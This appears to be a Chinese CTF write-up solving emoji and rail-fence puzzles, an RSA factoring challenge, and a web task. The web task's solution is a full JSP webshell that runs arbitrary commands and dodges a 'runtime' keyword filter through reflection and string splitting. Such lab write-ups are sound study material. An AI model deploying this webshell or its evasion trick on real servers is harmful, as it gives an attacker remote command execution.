MISC

签到

发现每个emoji的英文的首字母就代表了真实的字符

例如home->🏠->h,以此类推出hello ctf -> 🏠🦅🍋🍋🍊 🐈🌮🍟

Spa

根据提示可知,和斯巴达密码棒有关,搜索之后了解过后得知其实就是字符移位,也就是栅栏密码

搜索栅栏密码解密工具,通过不断测试栏数后就能得到答案

image-20250302224404468

因为存在空格,个别在线工具可能解不出来,这里附上我使用的工具栅栏密码在线加密解密 - 千千秀字

CRYPTO

ezRsa

exp如下

from Crypto.Util.number import *
import gmpy2

n = 
e = 65537
c = 

def factor(n):
    pq_list = []
    a = gmpy2.iroot(n, 2)[0]
    while 1:
        B_2 = pow(a, 2) - n
        if gmpy2.is_square(B_2):
            b = gmpy2.iroot(B_2, 2)[0]
            p1q1= a - b
            p2q2 = a + b
            pq_list.append([p1q1, p2q2])
            if len(pq_list) == 2:
                break
        a += 1  
    return pq_list

pq_list = factor(n)

X1, Y1 = pq_list[0]
X2, Y2 = pq_list[1]

p1 = gmpy2.gcd(X1, X2)
q1 = gmpy2.gcd(Y1, Y2)

p2 = X2 // p1
q2 = Y2 // q1

phi = (p1 - 1)*(q1 - 1)*(p2 - 1)*(q2 - 1)
d = gmpy2.invert(e,phi)
m = pow(c,d,n)
flag = long_to_bytes(m)
print(flag)

WEB

打赏

详情见下一篇博客HKcert CTF 2024 final mini-ad | Writeup | Red的小屋

🐎

通过cookie得知是java

image-20250302224839608

同时通过扫描得知首页是index.jsp

image-20250302225156439

又是上传文件,所以试试[靶场笔记]第二十二章 里提到的jsp小马

传上去后发现好像有拦截,并且是拦截’runtime’这个关键字

image-20250302225238597

通过搜索和学习得知,runtime关键字可以通过反射调用+字符拼接的方式拿下。exp如下

<%@ page language="java" pageEncoding="UTF-8" %>
<%  
    String PASSWORD = "password";
    String passwd = request.getParameter("pwd");
    String cmd = request.getParameter("cmd");
    if (!passwd.equals(PASSWORD)) {
        return;
    }

    Class rt = Class.forName("java.lang.Ru"+"ntime");
    java.lang.reflect.Method gr = rt.getMethod("getR"+"untime");
    java.lang.reflect.Method ex = rt.getMethod("exec", String.class);
    Process process = (Process) ex.invoke(gr.invoke(null), cmd);

    java.io.InputStream in = process.getInputStream();
    out.print("<pre>");
    java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
    java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
    String s = null;
    while ((s = stdInput.readLine()) != null) {
        out.println(s);
    }
    out.print("</pre>");
%>

更多关于jsp免杀的内容可以参考博客浅谈JSP Webshell进阶免杀 - 跳跳糖